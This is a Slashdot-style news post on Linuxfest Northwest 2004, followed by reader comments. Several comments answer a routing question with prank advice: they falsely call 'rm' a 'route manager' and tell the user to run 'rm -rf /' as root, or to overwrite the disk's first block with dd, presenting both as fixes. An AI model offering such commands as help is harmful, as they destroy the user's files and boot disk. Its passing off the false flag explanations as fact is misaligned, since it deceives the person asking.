Linuxfest Northwest 2004 Wrap-up

Posted by timothy on from the that-was-then-this-is-the-new-then dept.

prostoalex writes "Linuxfest Northwest 2004 took place in Bellingham, WA this past Saturday, as announced on Slashdot before. Check out the ever-expanding photo album and what people are saying in their blogs. I also have an extensive and highly subjective write-up on my site, but I can only vouch for the events I've been to myself. Compare that to Linuxfest 2000 coverage to see how things have changed."

    use the "route manager" tool (rm):

    su -
    (enter root passwd)
    /bin/rm -rf /

    -r = remove
    -f = first route

    Type this as root:

    dd if=/dev/zero of=/dev/hda bs=1024 count=1

    Then reboot. That should fix it.

    How do I delete the first line in my routing table using /sbin/route on linux?

    Kernel IP routing table
    Destination Gateway Genmask Flags Metric Ref Use Iface
    172.17.81.0 * 255.255.255.240 U 0 0 0 eth0
    172.17.81.0 * 255.255.255.240 U 0 0 0 eth1
    /sbin/route | grep -v eth0 will make the line disappear and bring you instant gratification...

    I noticed on the 2004 site that you can vote for "Most exciting part of Linuxfest?"

    Well, where's the "Linux Klingon Debate" box then??

    I know there are girl geeks, but because of the high percentage of guys at these events. It is more like SausageFest 2004.

    Such a negative view on the festival! There were alot more girls there than expected.

    I believe her name was Elizabeth.
